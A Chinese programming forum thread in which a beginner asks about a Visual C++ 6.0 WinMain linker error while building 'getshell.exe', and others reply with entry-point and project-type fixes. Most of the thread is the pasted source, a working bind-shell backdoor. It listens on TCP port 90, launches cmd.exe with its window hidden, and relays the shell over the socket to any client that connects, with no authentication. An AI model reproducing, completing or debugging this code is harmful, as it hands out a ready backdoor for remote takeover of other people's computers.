小弟是新手,在连接时,发生这样的问题
Error LNK2001: '_WinMain@16': Unresolved External Symbol
于是,我相到了
在工程菜单中的SETTING(alt+F7),找到“连接标签”看到里面有:
Project Options:
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /incremental:yes /pdb:"Debug/getshell.pdb" /debug /machine:I386 /out:"Debug/getshell.exe" /pdbtype:sept 
可是,里面没有我程序用到的#pragma comment(lib, "kernel32.lib"),于是,我就把它加了进去,(加到了 /nologo的前面),可是连接时,还是出现上面的字样,这是为什么呀?
谢了,搞明白,马上送分:)

解决方案 »

  1.   

    在project setting中把入口点改为wWinMainCRTStartUp。
    或者取消__UNICODE的定义。
      

  2.   

    老大们,能不能讲明白点具体的操作,小弟很笨,小弟家是汉语的VC6。0
    才刚把输入项点-符号那里(SETTING(alt+F7),找到“连接标签”-》分类选了OUTPUT,在输入项点-符号(Entry Point Symbol )),写入了wWinMainCRTStartUp
    可是,结果还那样,只不unresolved external symbol _wWinMainCRTStartUp
    取消_UNICODE什么意思?
      

  3.   

    如果你是新手,建议不要研究这个问题的解决办法。
    编译提示没有WinMain函数,是因为当前编译选项为Win32应用程序。
    如果你的程序是基于main函数写的,当然不行。
    你可以创建一个基于控制台的应用程序(即main函数类型),即在应用程序向导第一步选Console(或控制台)类型。
    通常做程序使用MFC应用程序向导中的(多文档、单文档、或对话框)
      

  4.   

    还是不行呀:?
    我把代码贴出来,当然不是我写的,没这么高的水平:P
    你们看看,到底是在哪有有问题,
    #include <stdio.h>
    #include <winsock2.h> 
    #pragma comment(lib, "ws2_32.lib")
    #pragma comment(lib, "kernel32.lib")#define PORT 90
    SOCKET ServerSocket = INVALID_SOCKET;
    SOCKET ClientSocket = INVALID_SOCKET;
    HANDLE hReadPipe, hWritePipe,hWriteFile,hReadFile;
    u_char varA,varB;DWORD WINAPI ThreadFuncA(LPVOID lpParam)
    {SECURITY_ATTRIBUTES pipeattr;
     DWORD nByteToWrite,nByteWritten;
     char recv_buff[1024]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
     pipeattr.lpSecurityDescriptor=NULL;
     pipeattr.bInheritHandle=TRUE;
     CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0); varA=1;
     while(TRUE)
          {Sleep(250);
        nByteToWrite=recv(ClientSocket,recv_buff,1024,0);
        WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
          }
     return 0;
    }DWORD WINAPI ThreadFuncB(LPVOID lpParam)
    {SECURITY_ATTRIBUTES pipeattr;
     DWORD len;
     char send_buff[25000]; pipeattr.nLength=sizeof(SECURITY_ATTRIBUTES);
     pipeattr.lpSecurityDescriptor=NULL;
     pipeattr.bInheritHandle=TRUE; CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0); varB=1;
     while(TRUE)
          {ReadFile(hReadFile,send_buff,25000,&len,NULL);
        send(ClientSocket,send_buff,len,0);
          }
     return 0;
    }void main(void)
    {WSADATA WSAData;
     struct sockaddr_in RemoteAddr;
    // int nRetCode;
    char szAPP[256];
     DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
     OSVERSIONINFO osvi;
     PROCESS_INFORMATION processinfo;
     STARTUPINFO startinfo; WSAStartup(MAKEWORD(2,2),&WSAData);
     ServerSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     RemoteAddr.sin_family = AF_INET;
     RemoteAddr.sin_port=htons(PORT);
     RemoteAddr.sin_addr.S_un.S_addr=INADDR_ANY; bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)); listen(ServerSocket,5); varA=0;
     varB=0; CreateThread(NULL,0,ThreadFuncA,NULL,0,&dwThreadIdA);
     CreateThread(NULL,0,ThreadFuncB,NULL,0,&dwThreadIdB); do
      {Sleep(250);
      }while((varA||varB)==0); GetStartupInfo(&startinfo);
     startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
     startinfo.hStdInput = hReadPipe;
     startinfo.hStdError=hWritePipe;
     startinfo.hStdOutput=hWritePipe;
     startinfo.wShowWindow=SW_HIDE; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi);
     
     GetSystemDirectory(szAPP,MAX_PATH+1); if (osvi.dwPlatformId==2)
        {strcat(szAPP,"\\cmd.exe");
      if (CreateProcess(szAPP,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startinfo,&processinfo)==0)
         {printf("CreateProcess Error!\n");
       return ;
      }
     }
         else
         {
       strcat(szAPP,"\\command.exe");
       CreateProcess(NULL,szAPP,0,0,TRUE,0,0,0,&startinfo,&processinfo);
       }
     while(TRUE)
          {ClientSocket=accept(ServerSocket,NULL,NULL);
        Sleep(250);
       }
    }